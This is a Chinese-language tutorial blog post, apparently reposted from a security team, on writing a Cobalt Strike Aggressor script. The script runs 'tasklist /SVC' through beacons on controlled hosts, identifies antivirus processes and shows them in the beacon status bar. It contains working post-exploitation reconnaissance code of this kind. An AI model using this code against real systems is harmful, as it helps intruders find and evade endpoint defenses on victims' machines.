CobaltStrike 插件编写入门教程(二)

admin 2021年10月28日02:10:50评论210 views字数 3696阅读12分19秒阅读模式
CobaltStrike 插件编写入门教程(二)

点击上方蓝字关注我们

引言

之前写了一个可以离线判断目标beacon是否存在杀软的小插件,但是觉得还是不够完美。于是乎决定将其改造一下。

先看之前的效果:

CobaltStrike 插件编写入门教程(二)

之前的版本是将杀软信息输出到了eventlog中,这样在工作的时候会导致eventlog消息太多,看起来太杂乱。

0x01 思路

在cs中有一个内置的cna脚本叫做default.cna。这个脚本可以在cs官网上下载。

我注意到其中有一个名为BEACON_SBAR_LEFT的设置。

CobaltStrike 插件编写入门教程(二)

可以看出来这个函数就是用来设置beacon下面那一栏信息的。我的想法就是将目标beacon中存在的杀软显示到beacon状态栏下方。这样就不用输出到eventlog中,而且目标beacon存在什么杀软一目了然。

0x02 实现


bshell($1,"tasklist /SVC");                    on beacon_output {                        $message = $2;                        @array = split(" ",$message);                        @data = remove(@array,"");                        foreach $key => $value (@data){                            @data[$key] = replaceAt($value, "", 0, 2);                        }                        @data = remove(@array,"");                        foreach $key => $value (@data){                            @data[$key] = """.$value.""";                        }                                                $string1 = "strat:";
foreach $value (@data){ $string1 = $string1.$value; }
foreach $key (%sr){ if ($key isin $string1){ println("cBThere is antiVirus: ".%sr[$key]." => IPaddress:".binfo($1)['internal']); elog("cBThere is antiVirus: ".%sr[$key]." => IPaddress:".binfo($1)['internal']); } }
}

在老代码中,关键代码部分的逻辑为在beacon中执行task list /SVC,然后使用on beacon_output来对beacon中的返回消息进行持续的监听。

我们需要改动的是在监听到beacon中返回信息存在杀软进程的话,就在beacon的状态栏之中输出出来。以达到我们的目的。

效果如下:

CobaltStrike 插件编写入门教程(二)

要实现这个效果就需要在监听到beacon的返回信息之后,获取到其中的杀软进程,然后再对beacon的状态栏进行更改。

试着将代码修改为以下状态。


bshell($1,"tasklist /SVC");                    $bid = $1;                    on beacon_output {                        println("test2 $1 is ".$1);                        $message = $2;                        @array = split(" ",$message);                        @data = remove(@array,"");                        foreach $key => $value (@data){                            @data[$key] = replaceAt($value, "", 0, 2);                        }                        @data = remove(@array,"");                        foreach $key => $value (@data){                            @data[$key] = """.$value.""";                        }                                                $string1 = "strat:";
foreach $value (@data){ $string1 = $string1.$value; } $av = ""; foreach $key (%sr){ if ($key isin $string1){ $av = $av.%sr[$key]." "; println("cBThere is antiVirus: ".%sr[$key]." => IPaddress:".binfo($1)['internal']); elog("cBThere is antiVirus: ".%sr[$key]." => IPaddress:".binfo($1)['internal']); } } $ip = binfo($1)['internal']; %beacon_llist_av[$ip] = $av; println(%beacon_llist_av); set BEACON_SBAR_LEFT { local('$computer $user $pid $barch'); $beacon_ip = $2['internal']; $av_list = %beacon_llist_av[$beacon_ip]; if ($av_list eq ""){ %beacon_llist_av[$beacon_ip] = "暂未发现杀软" } ($computer, $user, $pid, $barch) = values($2, @('computer', 'user', 'pid', 'barch')); if ("x86" eq $barch) { return "[ $+ $computer $+ ] $user $+ / $+ $pid $+ c4[ $av_list $+ ]"; } else if ("x64" eq $barch) { return "[ $+ $computer $+ ] $user $+ / $+ $pid cE(x64)o $+ c4[ $av_list $+ ]"; } else { return " $+ c4[ $av_list $+ ]"; } }

看看效果

CobaltStrike 插件编写入门教程(二)

已经有那味儿了

但是这样写代码有个致命的缺点,代码中使用了on beacon output这个数据模型,他会一直监听beacon的输出,如果我们再次执行命令,而这次的返回之中没有杀软进程或者我们随便执行一个shell whoami ,他都会监听的到,而且就会判断返回之中的内容不包含杀软信息,然后显示暂未发现杀软了。

CobaltStrike 插件编写入门教程(二)

0x03 改进

由于onbeaconoutput会监听每次beacon的返回内容,那么我们就需要让他只对包含特定信息的内容进行判断是否存在杀软。

我们可以在tasklist /SVC之后echo一个字符串,然后让脚本先查看返回内容是否有这个特定的字符串,如果有的话,才对其进行杀软的识别。

修改代码:


bshell($1,"tasklist /SVC && echo niubi6666");                    $bid = $1;                        on beacon_output {                            $message = $2;                            @array = split(" ",$message);                            @data = remove(@array,"");                            foreach $key => $value (@data){                                @data[$key] = replaceAt($value, "", 0, 2);                            }                            @data = remove(@array,"");                            foreach $key => $value (@data){                                @data[$key] = """.$value.""";                            }                                                        $string1 = "";
foreach $value (@data){ $string1 = $string1.$value; } if("niubi6666" isin $string1){ $av = ""; foreach $key (%sr){ if ($key isin $string1){ $av = $av.%sr[$key]." "; elog("cBThere is antiVirus: ".%sr[$key]." => IPaddress:".binfo($1)['internal']); } } $ip = binfo($1)['internal']; %beacon_llist_av[$ip] = $av; }else{ exit(); } }
<span class="md_repeated_n md_repeated_n_1"></span>

set BEACON_SBAR_LEFT { local('$computer $user $pid $barch'); $beacon_ip = $2['internal']; $av_list = %beacon_llist_av[$beacon_ip]; if ($av_list eq ""){ %beacon_llist_av[$beacon_ip] = "暂未发现杀软" } ($computer, $user, $pid, $barch) = values($2, @('computer', 'user', 'pid', 'barch')); if ("x86" eq $barch) { return "[ $+ $computer $+ ] $user $+ / $+ $pid $+ c4[ $av_list $+ ]"; } else if ("x64" eq $barch) { return "[ $+ $computer $+ ] $user $+ / $+ $pid cE(x64)o $+ c4[ $av_list $+ ]"; } else { return " $+ c4[ $av_list $+ ]"; } }

让每次运行对比杀软的命令后面跟一个echo niubi6666,这样只有在beacon的返回消息中有我们定义好的字符串之后才会去对比杀软来对存放杀软的变量进行改动。这样问题就解决了!原项目地址:https://github.com/gooderbrother/antiVirusCheck/

上篇:

CobaltStrike 插件编写入门教程



CobaltStrike 插件编写入门教程(二)



原文始发于微信公众号(灼剑安全团队):CobaltStrike 插件编写入门教程(二)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月28日02:10:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CobaltStrike 插件编写入门教程(二)https://cn-sec.com/archives/602138.html

发表评论

匿名网友 填写信息